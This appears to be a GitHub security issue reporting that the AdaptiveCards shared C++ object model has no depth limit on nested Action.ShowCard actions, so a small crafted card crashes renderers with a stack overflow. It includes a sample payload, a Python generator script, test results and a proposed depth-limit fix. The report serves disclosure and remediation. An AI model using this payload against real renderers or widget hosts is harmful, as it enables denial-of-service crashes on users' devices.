Skip to content

Security: Unbounded ShowCard nesting depth allows stack overflow crash via malicious card payload #9372

@karan68

Description

@karan68

Bug Description
ShowCardActionParser::Deserialize in the shared C++ object model calls AdaptiveCard::Deserialize recursively with no depth limit. A card payload with deeply nested Action.ShowCard actions creates an arbitrarily deep parse tree that overflows the stack when rendered.

There is zero depth tracking anywhere in ParseContext, ShowCardAction, or the renderer code paths. The only incidental barrier is jsoncpp's stackLimit (1000 JSON nesting levels), which still allows ~325 levels of ShowCard nesting to parse successfully.

Steps to Reproduce

  1. Generate a card with nested ShowCards (e.g. 200 levels):
{
  "type": "AdaptiveCard",
  "version": "1.5",
  "body": [{"type": "TextBlock", "text": "Level 200"}],
  "actions": [{
    "type": "Action.ShowCard",
    "title": "More",
    "card": {
      "type": "AdaptiveCard",
      "version": "1.5",
      "body": [{"type": "TextBlock", "text": "Level 199"}],
      "actions": [{
        "type": "Action.ShowCard",
        "title": "More",
        "card": { "...repeat 200 times..." }
      }]
    }
  }]
}

Generator script (Python):

import json

def nested_showcard(depth):
    if depth == 0:
        return {"type": "AdaptiveCard", "version": "1.5", "body": [{"type": "TextBlock", "text": "bottom"}]}
    return {
        "type": "AdaptiveCard", "version": "1.5",
        "body": [{"type": "TextBlock", "text": f"Level {depth}"}],
        "actions": [{"type": "Action.ShowCard", "title": "More", "card": nested_showcard(depth - 1)}]
    }

with open("nested_showcard_200.json", "w") as f:
    json.dump(nested_showcard(200), f)
  1. Parse with AdaptiveCard::DeserializeFromString succeeds with no error, creates 200 nested AdaptiveCard objects
  2. Render the parsed card stack overflow crash

Verified Behavior
Tested by building a standalone C++ binary against the ObjectModel library:

+----------------+-----------+--------------+--------------------------+
| ShowCard Depth | JSON Size | Parse Result | Parsed Tree Depth |
+----------------+-----------+--------------+--------------------------+
| 5 | 825 bytes | OK | 5 (full tree) |
| 50 | 7.5 KB | OK | 50 (full tree) |
| 200 | 30 KB | OK | 200 (full tree) |
| 325 | 49 KB | OK | 325 (full tree) |
| 350 | 53 KB | Fails | jsoncpp stackLimit hit |
+----------------+-----------+--------------+--------------------------+

Impact

  • All renderers using the shared C++ model are affected (UWP, WinUI3, Android, iOS)
  • In Windows Widgets: A 3rd-party widget can send this payload → WidgetBoard.exe crashes with STATUS_STACK_OVERFLOW (0xC00000FD)
  • The crash is 100% reproducible on any device at any DPI —> unlike #9343 which requires 150% display scale
  • The payload is small (~30-50 KB) and trivial to generate

Expected Behavior
The parser should enforce a maximum ShowCard nesting depth (e.g. 5 levels) and emit a parse warning when exceeded. No real-world Adaptive Card nests ShowCards deeper than 2-3 levels.

Environment

  • Component: Shared C++ ObjectModel (ObjectModel)
  • Affects: All platforms using the shared model (UWP, WinUI3, Android, iOS)
  • AdaptiveCards version: Current main branch (verified May 2026)

Related
#9343 —> Different root cause (Carousel + long text + 150% DPI → XAML measurement crash), but same general category: card payload crashing the renderer with no defensive limits

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions